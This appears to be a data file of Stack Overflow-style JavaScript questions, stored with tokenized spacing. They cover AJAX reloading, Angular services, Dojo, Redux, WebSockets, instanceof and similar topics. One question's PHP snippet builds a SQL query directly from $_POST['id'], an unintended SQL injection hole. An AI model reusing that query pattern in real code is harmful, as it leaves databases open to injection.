( `` + loc.x + `` , `` + loc.y + `` ) '' ; } , false ) ; svg { border : solid black 1px ; border-radius : 8px ; } < div id= '' info '' > pos < /div > < svg id= '' svg '' width= '' 300 '' height= '' 200 '' > < /svg >",Mouse position in SVG and RevealJS "JS : I have a PHP page which has two sections ( top and bottom ) . The top section has a table where I have options to Edit the data . Once the Edit button is pressed , the content is loaded at the bottom of page and the user can change the data.Here is part of my PHP page : Here is my Javascript : Here is my PHP page which loads the bottom section - post_repromote.php : The problem I'am facing : I'am able to load the data when I press the Edit button first.When I press it again , I 'm not able to load the new data unless I refresh the page and click the Edit button again.I tried to read the id in JS and printed it , I found that id is being passed correctly.Any help would be very much appreciated.Thanks in advance ! JS after using solution : < div id= '' product_entry_ < ? php echo $ id ? > '' class= '' product_entry_ < ? php echo $ id ? > '' > < tr > < td > < font size=2px > < ? php echo $ date ? > < /font > < /td > < td > < font size=2px > < ? php echo $ ProductName ? > < /font > < /td > < td > < font size=2px > < ? php echo $ Category . ' / '. $ SubCategory ? > < /font > < /td > < td > < font size=2px > < ? php echo $ MRP . ' / '. $ Price ? > < /font > < /td > < td > < button type= '' submit '' class= '' btn btn-primary btn-xs '' style= '' padding:2px 2px ; font-size : 9px ; line-height : 10px ; '' onClick= '' DirectPromoteSubmit ( < ? php echo $ id ? > ) '' > Promote < /button > < /td > < td > < button type= '' submit '' class= '' btn btn-primary btn-xs '' style= '' padding:2px 2px ; font-size : 9px ; line-height : 10px ; '' onClick= '' RePromoteSubmit ( < ? php echo $ id ? > ) '' > Edit < /button > < /td > < td > < button type= '' submit '' class= '' btn btn-primary btn-xs '' style= '' padding:2px 2px ; font-size : 9px ; line-height : 10px ; '' onClick= '' DelPromoteSubmit ( < ? php echo $ id ? > ) '' > X < /button > < /td > < /tr > < /div > < ! -- page where data is loaded -- > < div class= '' box box-warning '' id= '' RePromoteReplace '' > ... .some html content here ... < /div > function RePromoteSubmit ( id ) { //alert ( 'got into Edit Promotions ' ) ; var dataString = `` id= '' + id ; alert ( dataString ) ; if ( dataString== '' ) { alert ( 'Some Problem Occurred , Please try Again ' ) ; } else { //alert ( 'into post ' ) ; $ .ajax ( { type : `` POST '' , url : `` SellerPanel/post_repromote.php '' , data : dataString , cache : false , success : function ( html ) { // $ ( `` # tweet '' ) .val ( `` ) ; // $ ( `` # preview '' ) .hide ( ) ; $ ( `` # RePromoteReplace '' ) .replaceWith ( html ) ; alert ( 'Product Successfully Loaded ! ! ! Edit ( Optional ) & Click Promote Button in bottom section ' ) } } ) ; } return false ; } < ? php include ( `` ../dbconnection.php '' ) ; include ( `` session.php '' ) ; if ( ! isset ( $ _SESSION ) ) { session_start ( ) ; } $ id= $ _POST [ 'id ' ] ; $ query1=mysqli_query ( $ con , '' select promotiondata from sellerpromotions where id= $ id '' ) ; while ( $ row=mysqli_fetch_array ( $ query1 ) ) { ... ..some code here ... .. } ? > < div class= '' box box-warning '' > < div class= '' box-header '' > < h3 class= '' box-title '' > Fill Product Details < /h3 > < /div > < ! -- /.box-header -- > < div class= '' box-body '' > < ! -- < form role= '' form `` name= '' PromoteForm '' > -- > < div > < ! -- text input -- > < table class= '' table '' > ... .some data here from query.. < /table > < div class= '' box-header with-border '' > < h3 class= '' box-title '' > Upload your Product Image < /h3 > < /div > < ! -- /.box-header -- > < div class= '' box-body no-padding '' > < div id='preview ' > < ? php if ( $ uploadid ) { ? > & nbsp ; & nbsp ; & nbsp ; & nbsp ; & nbsp ; < img src= < ? php echo `` SellerPanel/uploads/ '' . $ imagename ? > id= '' < ? php echo $ uploadid ? > '' alt= '' User Image '' class='preview ' style='width:340px ; height:200px ; border-color : black'/ > < ? php } ? > < /div > < ? php include ( `` index_photo.php '' ) ; ? > < ! -- < span class= '' users-list-date '' > Yesterday < /span > -- > < /div > < ! -- /.box-body -- > < div class= '' box-footer '' > < button type= '' submit '' class= '' btn btn-primary '' onClick= '' PromoteSubmit ( ) '' > Promote < /button > < /div > < /div > < /div > < ! -- /.box-body -- > < /div > < ! -- /.box -- > < ? php } ? > function RePromoteSubmit ( id ) { //alert ( 'got into Edit Promotions ' ) ; var dataString = `` id= '' + id ; alert ( dataString ) ; function getRandomInt ( ) { return Math.floor ( Math.random ( ) * Math.pow ( 10,6 ) ) ; } //var url = `` SellerPanel/post_repromote.php ? `` +getRandomInt ( ) ; //alert ( `` url is : `` + url ) ; if ( dataString== '' ) { alert ( 'Some Problem Occurred , Please try Again ' ) ; } else { //alert ( 'into post ' ) ; $ .ajax ( { type : `` POST '' , url : `` SellerPanel/post_repromote.php ? rnd= '' +getRandomInt ( ) ; data : dataString , cache : false , success : function ( html ) { // $ ( `` # tweet '' ) .val ( `` ) ; // $ ( `` # preview '' ) .hide ( ) ; $ ( `` # RePromoteReplace '' ) .replaceWith ( html ) ; alert ( 'Product Successfully Loaded ! ! ! Edit ( Optional ) & Click Promote Button in bottom section ' ) } } ) ; } return false ; }",Ajax not working properly when I tried to call it on same page again JS : I would like to call the following api routesWould all of these be defined in one angular service ? And how would I do that ? every tutorial I 've looked at has a service where it immediately returns the resource and it 's usually for CRUD operations too . I 'd most likely be calling these routes in multiple controllers so I think having it in one service is beneficial . Could someone show an example of how I would create a service to call these routes ? I 'd like to do operations like this in other controllerswhere $ api is the service I would define and getuserInbox ( ) is a function which makes an http request for /api/user/inbox /api/user/ : id/api/user/inbox/api/user/blah $ scope.inbox = $ api.getUserInbox ( ) //function which requests api/user/inbox $ scope.user = $ api.getUser ( ) //function which requests api/user/ : id $ scope.blah = $ api.getUserBlah ( ) //function which requests api/user/blah,Should ALL RESTful API calls be defined in an angular service ? "JS : How can I get Dojo Dijits ( 1.5.0 , currently ) to work with XHTML as application/xml+xhtml ? It works if sent as text/html , but application/xml+xhtml is required.This seems to be tied to dijit.form.DatePicker and a few others.This is n't a matter of validating against W3C , it just plain does n't work , at all.JavaScript execution stops because of this error.Obviously , I can recompile Dojo , and fix all of these individually , but this is a lot of work , and does not fix everything.Once again , it works with text/html , but application/xml+xhtml is required . Error : mismatched tag . Expected : < /br > .Source File : Line : 5 , Column : 54Source Code : > < div class= '' dijitReset dijitValidationIcon '' > < br > < /div",Dojo with application/xml+xhtml content-type "JS : I made this gallery a while ago : https : //jsfiddle.net/5e9L09Ly/Do n't worry it wo n't upload anything.I made that you can sort by file size , but I want to sort by image resolution . The problem is that not all of the images will have loaded onto the page yet so I wo n't know what their size will be.The gallery itself is pretty basic , it asks for a directory and it will then display all the images and videos in that directory.It only works in chrome right now , just click on browse at the very top . The number before browse is how many images should show or load when you select the directory.I am not sure how to approach this problem ... One thing I had in mind was something like this : The problem with that is then it loads each and every image it loads and it would put a big strain on the hdd and browser if you have a lot of images , lets say 20k images you are trying to load.So yeah ... . any suggestions would be great.I wo n't post the code here because it is too much , please check out the fiddle . imgLoad.attr ( `` src '' , url ) ; imgLoad.unbind ( `` load '' ) ; imgLoad.bind ( `` load '' , function ( ) { console.log ( url+ ' size : '+ ( this.width + this.height ) ) ; } ) ;",Sort by image resolution in gallery "JS : Following is some codes and output from the Chrome Developers ' ConsoleCase 1 : Case 2 : Why are the two outputs ( commented Output : ONE , and Output : TWO ) different ? Screenshot : var myarr = document.location.hostname.split ( `` . `` ) ; //typedundefined //outputmyarr [ 0 ] //typed '' ptamz '' //output : ONE var name = document.location.hostname.split ( `` . `` ) ; //typedundefined //outputname [ 0 ] //typed '' p '' //output : TWO",Why does JavaScript split ( ) produce different output with different variable names ? "JS : I am using durandal and requirejs to compose my viewmodels . I am also hooking into the composition life-cycle callback method deactivate every time I navigate away from the view . I want to dispose of my viewmodel in this method.I 've tried delete this , this = undefined but they do n't seem to work.I am also using the durandal event aggregator like this : So every time the viewmodel is loaded , the event will be triggered . Now , if I the navigate away from the view , then navigate back ( hence the viewmodel will be loaded again ) , then the event will be triggered twice . If I navigate to the view for the 3rd time , the event will be triggered 3 times and so on and so forth . So the previous viewmodels are still present , which is why the the durandal event is being triggered by each viewmodel . Therefore , to fix this issue , I need to dispose of the viewmodels in deactivate , how can I do this ? Note . the viewmodels in question are transient , not singleton . self.activate = ( ) = > { App.trigger ( `` testEvent '' ) ; } ; App.on ( `` testEvent '' ) .then ( ( ) = > { alert ( 'Event Triggered ! ' ) ; } ) ;",How to dispose of a viewmodel in Durandal after deactivation "JS : Does ES6 's support for tail call optimization cover tail calls in generators ? Suppose I have this generator for integers > = 0 : Currently , in Chrome and Firefox , it adds a stack level with each recursive call and eventually runs into a `` maximum call stack size exceeded '' error . Will this still occur once ES6 is fully implemented ? ( I know I can write the above generator iteratively and not run into the error . I 'm just curious about whether TCO will take care of recursively defined generators . ) var nums = function* ( n ) { n = n || 0 ; yield n ; yield* nums ( n + 1 ) ; } ;",Does ES6 Tail Call Optimization Cover Generators ? "JS : I 'm implementing a resizeable textarea on a cross-browser website . Now in FF/Chrome/Safari , the following : Works like a charm . A little bit of sniffing around has led me here : http : //www.w3schools.com/cssref/css3_pr_resize.aspWhere I learned that Opera and IE do not support this property.No biggie , the following javascript can take care of detection , with a jquery UI call to resizable ( ) wrapped within for functionality : However , I dislike explicit browser checks . Is there a way to test support for a specific css property programmatically ? textarea { resize : both ; } if ( ( navigator.userAgent.indexOf ( 'Trident ' ) ! = -1 ) || ( navigator.userAgent.indexOf ( 'MSIE ' ) ! = -1 ) || ( navigator.userAgent.indexOf ( 'Opera ' ) ! = -1 ) ) {",Test for specific css property compatability programmatically ( resize support on a textarea ) "JS : In the context of a user script , for example executed by Tampermonkey , is it possible to communicate between two pages of different domains , which set ' X-Frame-Options ' to 'SAMEORIGIN ' ? I know about this way of sending messages from one page to another by using iFrames and postMessage , but when working with sites you dont control , like in my case Stack Overflow and Google ( working on a bot to automate something for myself ) , you 'll get the SAMEORIGIN error when trying to create the iFrame . But I thought since I 'm able to insert script in both pages , it might be possible to pull off some workaround or alternate solution . One suggestion , a shared worker looked promising , but it seems to require the page to be from the same origin . Also I looked at the Broadcast Channel API spec , but it is n't implemented anywhere yet , and it also seems to be bound to the same origin policy . Another suggested possibility mentioned so far in the comments is to use the GM API since this is a user-script ( extended / special JS features ) . With GM_xmlhttpRequest we can ignore cross domain restrictions and load google.com , then put it in an iframe , but all the sources will point to the site where the iframe is embedded , so searching the Google page tries to execute the search params on the parent site 's domain . Maybe I could edit the search requests to point to google.com specifically , rather than letting the search adopt the parent page 's domain . And if that fails due to some hangup with the same origin policy , I could even try to replace Google 's xmlhttpRequest 's with GM_xmlhttpRequest 's , but I 'm not sure if that can be done since the user script , if you load GM functions , will run in a sandbox , unable to intertwine with the pages scripts if I understand correctly . I 'm just not sure.On the other hand , if we can trick the iframe 's contents to treat google.com as the domain for requests , though we 're in business , but examples do n't seem to exist for this kind of thing , so I 'm having trouble figuring out how to make it happen . GM_xmlhttpRequest ( { method : `` GET '' , url : `` https : //www.google.com '' , headers : { `` User-Agent '' : `` Mozilla/5.0 '' , `` Accept '' : `` text/xml '' } , onload : function ( response ) { $ ( 'html ' ) .html ( ' < iframe id= '' iframe '' > < /iframe > ' ) ; $ ( `` # iframe '' ) .contents ( ) .find ( 'html ' ) .html ( response.responseText ) ; } ) ;",Is it possible to communicate between pages ( tabs ) that set ' X-Frame-Options ' to 'SAMEORIGIN ' with a user-script ? JS : Related to Is there a `` null coalescing '' operator in JavaScript ? - JavaScript now has a ? ? operator which I see is in use more frequently . Previously most JavaScript code used ||.In what circumstances will ? ? and || behave differently ? let userAge = null// These values will be the same . let age1 = userAge || 21let age2 = userAge ? ? 21,When should I use ? ? ( nullish coalescing ) vs || ( logical OR ) ? "JS : I 'm trying to emulate Scala 's sealed case classes in Flow by using disjoint unions : I should get a type error for case 'TOGGGGLE_TODO ' : but I don't.Is there a way to fix that ? EDIT : I paste here the code from Gabriele 's comment for future-proof-ness : type ADD_TODO = { type : 'ADD_TODO ' , text : string , id : number } type TOGGLE_TODO = { type : 'TOGGLE_TODO ' , id : number } type TodoActionTy = ADD_TODO | TOGGLE_TODOconst todo = ( todo : TodoTy , action : TodoActionTy ) = > { switch ( action.type ) { case 'ADD_TODO ' : return { id : action.id , text : action.text , completed : false } ; case 'TOGGGGLE_TODO ' : // this should give a type error if ( todo.id ! == action.id ) { return todo ; } return { ... todo , completed : ! todo.completed } ; } } type TodoTy = { } ; type ADD_TODO = { type : 'ADD_TODO ' , text : string , id : number } ; type TOGGLE_TODO = { type : 'TOGGLE_TODO ' , id : number } ; type TodoActionTy = ADD_TODO | TOGGLE_TODO ; export const todo = ( todo : TodoTy , action : TodoActionTy ) = > { switch ( action.type ) { case 'ADD_TODO ' : break ; // Uncomment this line to make the match exaustive and make flow typecheck //case 'TOGGLE_TODO ' : break ; default : ( action : empty ) } }",sealed case classes in flow "JS : NOTE : When I say the regex [ \0 ] I mean the regex [ \0 ] ( not contained in a C-style string , which would then be `` [ \\0 ] '' ) . If I have n't put quotes around it , it 's not a C-style string , and the backslashes should n't be interpreted as escaping a C-style string.Inspired by this question and my investigation , I tried the following code in clang 3.4 : Apparently , clang does n't like this , as it throws : std : :__1 : :regex_error : The expression contained an invalid escaped character , or a trailing escape.It seems to be the [ ^\0 ] part ( changing it to [ ^\n ] or something similar works fine ) . It seems to be an invalid escape character . I want to clarify that I 'm not talking about the '\0 ' character ( null-character ) or '\n ' character ( newline character ) . In C-style strings , what I 'm talking about is `` \\0 '' ( a string containing backslash zero ) and `` \\n '' ( a string containing backslash n ) . `` \\n '' seems to get transformed into `` \n '' by the regex engine , but it chokes on `` \\0 '' .The C++11 standard says in section 28.13 [ re.grammar ] that : The regular expression grammar recognized by basic_regex objects constructed with the ECMAScript flag is that specified by ECMA-262 , except as specified below.I 'm no expert on ECMA-262 , but I tried the regular expression on JSFiddle and it 's working fine there in JavaScript land.So now I 'm wondering if the regex [ ^\0 ] is valid in ECMA-262 and the C++11 standard removed support for it ( in the stuff following ... except as specified below . ) .Question : Is the \0 ( not the null-character ; in a string literal this would be `` \\0 '' ) escape sequence legal in a C++11 regular expression ? Is it legal in ECMA-262 ( or are browser JS VMs just being `` too '' lenient ) ? What 's the cause/justification for the different behaviors ? # include < regex > # include < string > int main ( ) { std : :string input = `` foobar '' ; std : :regex regex ( `` [ ^\\0 ] * '' ) ; // Note , this is `` \\0 '' , not `` \0 '' ! return std : :regex_match ( input , regex ) ; }",Is \0 ( `` \\0 '' in a C-style regex string ) a valid escape sequence in C++ regular expressions ? "JS : I 'm currently working on a mobile HTML5/JS project , and I 've just added a set of ~40 request 'classes ' to the JS framework for more legible client- > server communication . My boss has questioned the use of so many classes as he thinks we may encounter future issues with the number of variables and functions defined at once . My argument is that we should be writing for legibility first at the moment , and worry about optimization in the future when it becomes a problem.So my question is , is this worry well-founded - is there a ( fairly low ) limit to the number of variables and functions that can be defined at once , and does this vary on a per-browser or per-device basis ? Edit : An example of the request files is as follows , where JSONRequest is an 'extension ' of AbstractRequest : function MyServerRequest ( content , info , otherData , callback , ignoreErrors ) { var requestData = new RequestData ( `` MyServerRequest '' ) ; requestData.messageType = MyConst.MY_END_POINT ; requestData.message = { something : content , anotherthing : { blah : info } thirdthing : otherData } ; JSONRequest.call ( this , requestData , callback , ignoreErrors ) ; } MyServerRequest.prototype = Object.create ( JSONRequest.prototype ) ; MyServerRequest.prototype.constructor = MyServerRequest ;",Maximum number of var/function definitions in Javascript ? "JS : I 'm a bit new to HTML and Javascript and within my html , I have the following code : However , it returns Am I not allowed to declare/define variables inside of script tags in HTML ? < script id= '' fragmentShader '' type= '' x-shader/x-fragment '' > precision mediump float ; //varying vec3 fragmentColor ; //not needed ? varying vec3 fragmentNormal ; varying vec3 fragmentLight ; varying vec3 fragmentView ; uniform vec3 modelColor ; uniform vec3 lightColor ; void main ( ) { var m = normalize ( fragmentNormal ) ; var l = normalize ( fragmentLight ) ; var v = normalize ( fragmentView ) ; var h = normalize ( l + v ) ; var d = Math.max ( l * m , 0 ) ; var s = Math.pow ( Math.max ( h * m , 0 ) , 10 ) ; fragmentColor = modelColor * lightColor * d + lightColor * s ; gl_FragColor = vec4 ( fragmentColor , 1.0 ) ; } < /script > Failed to compile shader : ERROR : 0:13 : 'var ' : undeclared identifier ERROR : 0:13 : 'm ' : syntax error",JS - Undeclared identifier : 'var ' in GLSL script "JS : Why is the map operator evaluated for each subscriber instead of once ? I created a testcase here : http : //jsbin.com/jubinuf/3/edit ? js , consoleCan I write this testcase differently to avoid this behaviour ? const obs1 = Rx.Observable.interval ( 1000 ) .take ( 1 ) .map ( ( x , i ) = > { console.log ( i+1 + ':1 map ' ) return 'obs1 ' ; } ) const obs2 = Rx.Observable.interval ( 1300 ) .take ( 1 ) .map ( ( x , i ) = > { console.log ( i+1 + ':2 map ' ) return 'obs2 ' ; } ) const obs3 = Rx.Observable.interval ( 1700 ) .take ( 2 ) .map ( ( x , i ) = > { console.log ( i+1 + ':3 map ' ) return 'obs3 ' ; } ) const view = obs1.combineLatest ( obs2 , obs3 , ( obs1 , obs2 , obs3 ) = > { return obs1 + ' , ' + obs2 + ' , ' + obs3 ; } ) ; // Every subscriber adds more calls to map - why is it called multiple times at the same time ? view.subscribe ( ( value ) = > { console.log ( 'sub1 : ' + value ) } ) ; view.subscribe ( ( value ) = > { console.log ( 'sub2 : ' + value ) } ) ; view.subscribe ( ( value ) = > { console.log ( 'sub3 : ' + value ) } ) ;",rxjs map operator evaluated for each subscriber "JS : My question is just same as the title . Let 's say I wrote the following code.Now , after the last line , this code will export the TODOList component with the state as props . It 's not that it contains state , but just received state and will have them as 'props ' , just like the method name 'mapStateToProps ' explains.In the medium post ( https : //medium.com/ @ dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0 ) written by Dan Abramov , container component handles data as state , and presentational property do as props . Is n't it a presentational component that deals with data as props ? I 'm stuck with the idea that the right container should be one like below.I 'm not sure why react-redux named the API 'mapStateToProps ' , when I tried to make 'stateful ' ( not handling data by property ) container component class TODOList extends Component { render ( ) { const { todos , onClick } = this.props ; return ( < ul > { todos.map ( todo = > < Todo key= { todo.id } onClick= { onClick } { ... todo } / > ) } < /ul > ) ; } } const mapStateToProps = ( state ) = > { return { todos : state.todos } } const mapDispatchToProps = ( dispatch ) = > { return { onClick ( data ) { dispatch ( complete ( data ) ) } } } export default connect ( mapStateToProps , mapDispatchToProps ) ( TODOList ) ; class CommentList extends React.Component { this.state = { comments : [ ] } ; componentDidMount ( ) { fetchSomeComments ( comments = > this.setState ( { comments : comments } ) ) ; } render ( ) { return ( < ul > { this.state.comments.map ( c = > ( < li > { c.body } — { c.author } < /li > ) ) } < /ul > ) ; } }",I ca n't understand why components with 'connect ( ) ' are stateful in react "JS : SummarySee the toy example Azure notebook hosted at this link . The notebook can be cloned and run , or downloaded and run locally , from there , but all of the code is also below for convenience.When all the cells are run , the javascript console reports these errors ( abbreviated ) in the final cell , and the final expected line of output does not render : Not sure where I am going wrong.UPDATE : As it currently exists , the code sends a string instance ( rather than a DOMWidgetModel instance ) to the create_child_view method . The string contains `` IPY_MODEL_ '' appended by the model id . This seems like it might be the root of the problem . That string instance is being received by the client from the server side Backbone children model array items ( this.model.get ( 'children ' ) ) .I am wondering if the problem is related to the [ de ] serialization of widgets discussed in the low-level widget tutorial . But I 'm not sure how to use that to fix this problem , since I need access to the sub widget model itself and not just an attribute . And I believe I am correctly passing the **widgets.widget_serialization as the tutorial specifies.DetailsThe notebook contains python and javascript code , and utilizes the ipywidgets library , which relies heavily on Backbone . The back end code ( python , cell # 1 ) creates a ipywidgets.DOMWidget subclass widget , Test ( a Backbone model mirrored in the front end ) . The front end code ( javascript , cell # 2 ) creates a ipywidgets.DOMWidgetView subclass , TestView , which is instantiated by the widget when it is rendered to the page.The Test model widget has a children member made up of multiple `` sub-widgets '' ( which are also models ) . These widgets are instances of the python class Sub . When a view of Test is rendered , I want to instantiate and render the views of the children widgets and attach them to the view of the parent Test widget ( note : that final part has n't been implemented yet below ) .The problem is that when I try to follow the ipywidgets API to create children views , populating the ViewList array by instantiating the children views using the create_child_view method on each child model is not working.The API for this kind of thing is n't particularly well documented , so I 'm doing my best to follow various similar examples of how to instantiate sub-views using child models from within a parent view , such as the parent widgets in ipywidgets itself and in ipyleaflet . But nothing I do seems to get the creation of children views working.Note that I am able to render a view of each Sub widget individually without any problem . It is only when I try to use the create_child_view method to create a view from within the parent Test widget that we run into problems.CodeCell 1 ( server side jupyter python kernel ) Cell 2 ( front end jupyter notebook code ) Cell 3 ( python code for testing ) OutputCurrent output : Expected output : More specific information about the actual project I am working on is at this github issue if anyone is interested . Error : Could not create a view for model id 91700d0eb745433eaee98bca2d9f3fc8 at promiseRejection ( utils.js:119 ) Error : Could not create view at promiseRejection ( utils.js:119 ) Uncaught ( in promise ) TypeError : Can not read property 'then ' of undefinedUncaught ( in promise ) TypeError : Can not read property 'then ' of undefined import ipywidgets.widgets as widgetsfrom traitlets import Unicode , List , Instancefrom IPython.display import displayclass Sub ( widgets.DOMWidget ) : `` '' '' Widget intended to be part of the view of another widget . '' '' '' _view_name = Unicode ( 'SubView ' ) .tag ( sync=True ) _view_module = Unicode ( 'test ' ) .tag ( sync=True ) _view_module_version = Unicode ( ' 0.1.0 ' ) .tag ( sync=True ) class Test ( widgets.DOMWidget ) : `` '' '' A parent widget intended to be made up of child widgets . '' '' '' _view_name = Unicode ( 'TestView ' ) .tag ( sync=True ) _view_module = Unicode ( 'test ' ) .tag ( sync=True ) _view_module_version = Unicode ( ' 0.1.0 ' ) .tag ( sync=True ) children = List ( Instance ( widgets.Widget ) ) .tag ( sync=True , **widgets.widget_serialization ) def __init__ ( self , subs ) : super ( ) .__init__ ( ) self.children = list ( subs ) % % javascriptrequire.undef ( 'test ' ) ; define ( 'test ' , [ `` @ jupyter-widgets/base '' ] , function ( widgets ) { var SubView = widgets.DOMWidgetView.extend ( { initialize : function ( ) { console.log ( 'init SubView ' ) ; SubView.__super__.initialize.apply ( this , arguments ) ; } , render : function ( ) { this.el.textContent = `` subview rendering '' ; } , } ) ; var TestView = widgets.DOMWidgetView.extend ( { initialize : function ( ) { console.log ( 'init TestView ' ) ; TestView.__super__.initialize.apply ( this , arguments ) ; this.views = new widgets.ViewList ( this.add_view , null , this ) ; this.listenTo ( this.model , 'change : children ' , function ( model , value ) { this.views.update ( value ) ; } , this ) ; console.log ( 'init TestView complete ' ) ; } , add_view : function ( child_model ) { // error occurs on this line : return this.create_child_view ( child_model ) ; } , render : function ( ) { this.views.update ( this.model.get ( 'children ' ) ) ; this.el.textContent = 'rendered test_view ' ; } , } ) ; return { SubView : SubView , TestView : TestView , } ; } ) ; models= [ Sub ( ) for _ in range ( 4 ) ] for m in models : # view each Sub object individually display ( m ) # output : 'subview rendering't=Test ( models ) t # output : 'rendered test_view ' < -- broken ; see console log subview rendering subview rendering subview rendering subview rendering subview rendering subview rendering subview rendering subview rendering rendered test_view",Child widget creation in ipywidgets produces an error using ViewList and create_child_view "JS : I am wondering what is the difference between Array.prototype.isPrototypeOf and Array.isPrototypeOf I thought it should work the same because I thought it will refer to the same method isPrototypeOf but It 's look like I was mistaken . Can anybody explain to me why this work like that ? const exampleArray = [ 1 , 2 , 3 ] ; console.log ( Array.prototype.isPrototypeOf ( exampleArray ) ) ; console.log ( Array.isPrototypeOf ( exampleArray ) ) ; // Why this statement returns false ?",What the difference between Array.prototype.isPrototypeOf and Array.isPrototypeOf ? "JS : With nowjs how do I configure the lower level socket.io 's logging level and it 's per connection ( global ) authentication level ? For example if I were just using socket.io I would use the following code : Thanks ! ! socketServer.configure ( function ( ) { socketServer.set ( 'authorization ' , function ( handshakeData , callback ) { callback ( null , true ) ; // error first callback style } ) ; socketServer.set ( 'log level ' , 1 ) ; } ) ;",How can you configure nowjs ? "JS : I have an array of objects . Each object has a lot of keys ( more than 100 ) and some of these keys can have special chars that I would like to remove.I try to do what I want in this way : But I 'm sure it 's not the right way.. const result = data.map ( datum = > { const keys = Object.keys ( datum ) const replacedKeys = keys.map ( key = > { const newKey = key.replace ( / [ .| & ; $ % @ % '' < > + ] /g , `` ) } ) // ? ? } )",Use regex to rename keys of array of objects "JS : If I have the object literal : Is there a Javascript function to convert this object into a literal string , so that the output would be the literal syntax : With JSON.stringify the output would be { a : `` hello '' } ' { a : `` hello '' } ' ' { `` a '' : `` hello '' } '",How to convert JavaScript object into LITERAL string ? "JS : In this commit there is a change I can not explainbecomesAFAIK , when you invoke a function as a member of some object like obj.func ( ) , inside the function this is bound to obj , so there would be no use invoking a function through apply ( ) just to bound this to obj . Instead , according to the comments , this was required because of some preceding $ .Callbacks.add implementation.My doubt is not about jQuery , but about the Javascript language itself : when you invoke a function like obj.func ( ) , how can it be that inside func ( ) the this keyword is not bound to obj ? deferred.done.apply ( deferred , arguments ) .fail.apply ( deferred , arguments ) ; deferred.done ( arguments ) .fail ( arguments ) ;",Understanding `` this '' keyword "JS : What I have now : but this defeats chaining . Question is - how do I get same result with JQuery chaining ? I ca n't use $ ( 'selector1 , selector2 ' ) , because this would always select result sets for both selectors , while I need results of selector2 only if there are no matching elements for selector1 . var result = $ ( 'selector1 ' ) ; if ( result.length == 0 ) result = $ ( 'selector2 ' ) ;",how to chain selectors with OR condition ( alternative result set if main is empty ) "JS : This is the code I am trying to run in blackberry simulator browser ( OS V6.0 ) .Whenever the GMT information is there is in the string I pass to parse method , it returns NaN , whereas it is returning a value if the GMT information is not there.But I can not remove the GMT part from my string.Any idea why this is failing ? .Please note that it is happening in blackberry only.Thanks in advance . < html > < body > < script type= '' text/javascript '' > var d = Date.parse ( `` Tue Oct 25 2011 18:33:17 GMT+0230 '' ) ; var d1 = Date.parse ( `` Tue Oct 25 2011 18:33:17 '' ) ; document.write ( d+ '' : : : : : : '' +d1 ) ; < /script > < /body > < /html >",Javascript Date.parse returning NaN in blackberry browser "JS : I 'm trying to test a module that uses angular-google-maps . It is failing because angular.mock.inject can not find uiGmapGoogleMapApiProvider : I ca n't figure out what is going wrong . Here is the reduced testcase : The entire thing is available as a ready-to-run Angular project from GitHub . If you find the problem , please answer here on Stack Overflow . Bonus points if you also submit a pull request to the GitHub repository . Error : [ $ injector : unpr ] Unknown provider : uiGmapGoogleMapApiProviderProvider < - uiGmapGoogleMapApiProvider 'use strict ' ; describe ( 'this spec ' , function ( ) { beforeEach ( module ( 'uiGmapgoogle-maps ' ) ) ; it ( 'tries to configure uiGmapGoogleMapApiProvider ' , inject ( function ( uiGmapGoogleMapApiProvider ) { expect ( uiGmapGoogleMapApiProvider.configure ) .toBeDefined ( ) ; } ) ) ; } ) ;",Why does this test for the angular-google-maps provider fail ? JS : I am trying to highlight a part of the text on my website . This highlighted text will be saved for the specific user in a database and when the document is opened again it will show the previously highlighted text . I assumed I would be using javascript to highlight the text but I can not seem to find a way to pinpoint where the word is that I am highlighting.I am using that to get the selection but I can not figure out where the selection is in the text . The biggest annoyance is when I have duplicates within the line or text so if I were to use search then I would find the first instance and not the one I was looking for.So the question is : How do you pinpoint a word or a selection in the entire document ? function getSelText ( ) { var txt = `` ; if ( window.getSelection ) { txt = window.getSelection ( ) ; } else if ( document.getSelection ) { txt = document.getSelection ( ) ; } else if ( document.selection ) { txt = document.selection.createRange ( ) .text ; } else return `` '' ; return txt ; },How do you pinpoint a word or a selection in the entire document ? "JS : I developed a multiplayer card game and therefore used a websocket . To implement the websocket in php , I used this libraryI ' v put it to my ubuntu server and the program works fine on Chrome Browser and in Firefox ( The frontend is implemented using Javascript ) .Using the Edge Browser , there is an error stating `` ReferenceError : WebSocket is undefined '' . But on the internet I have read that Edge should normally support websockets.I already checked , whether the document mode is another IE version , but it is set to edge as well.The exact version is 11.0.0600.18537.The following is my code ( althoug I do n't think that is is a problem with it as it works in the other browsers ) Does anybody know what could be the issue with Edge ? connectToSocket=function ( ) { var host = `` ws : // [ host ] :9000/echobot '' ; try { socket = new WebSocket ( host ) ; console.log ( 'WebSocket - status ' + socket.readyState ) ; ... } catch ( ex ) { console.log ( 'some exception : ' +ex ) ; }",PHP Websocket undefined in Edge Browser "JS : In this snippet , the statement f instanceof PipeWritable returns true ( Node v8.4.0 ) : Object s : Object.getPrototypeOf ( s ) is PipeWritable { } s.constructor is [ Function : PipeWritable ] PipeWritable.prototype is PipeWritable { } Object f : Object.getPrototypeOf ( f ) is WriteStream { ... } f.constructor is [ Function : WriteStream ] ... stream.WriteStream.prototype is Writable { ... } Prototype chains : Following the definition of instanceof : The instanceof operator tests whether an object in its prototype chain has the prototype property of a constructor.I would expect that ( f instanceof PipeWritable ) === false , because PipeWritable is not in the prototype chain of f ( the chain above is verified by calls of Object.getPrototypeOf ( ... ) ) .But it returns true , therefore something is wrong in my analysis.What 's the correct answer ? const stream = require ( 'stream ' ) ; const fs = require ( 'fs ' ) ; class PipeWritable extends stream.Writable { constructor ( ) { super ( ) ; } } const s = new PipeWritable ( ) ; const f = fs.createWriteStream ( '/tmp/test ' ) ; console.log ( f instanceof PipeWritable ) ; // true ... ? ? ? Object f Object s -- -- -- -- -- -- -- -- -- -- - -- -- -- -- -- -- -- -- -- -- Writable PipeWritable Stream Writable EventEmitter Stream Object EventEmitter Object",Why does instanceof evaluate to true here ? "JS : I 'm compiling code that needs the version value from package.json : and when I look at the .js file that webpack outputs I see the whole package.json there ! How can I avoid this ? My setup is : My webpack version is 3.8.1 import { version } from '../package.json ' ; export default { version } ; plugins : [ new webpack.DefinePlugin ( { 'process.env.NODE_ENV ' : ' '' production '' ' } ) , new webpack.optimize.UglifyJsPlugin ( { compress : { warnings : false } } ) , new CompressionPlugin ( { asset : ' [ path ] .gz [ query ] ' , algorithm : 'gzip ' , test : /\ . ( js|css ) $ / , threshold : 10240 , minRatio : 0.8 } ) , ]",webpack import only variable value "JS : The GoalI 'm attempting to render a long series of data ( around 200 ticks , from small float values like 1.3223 ) into a line chart.The 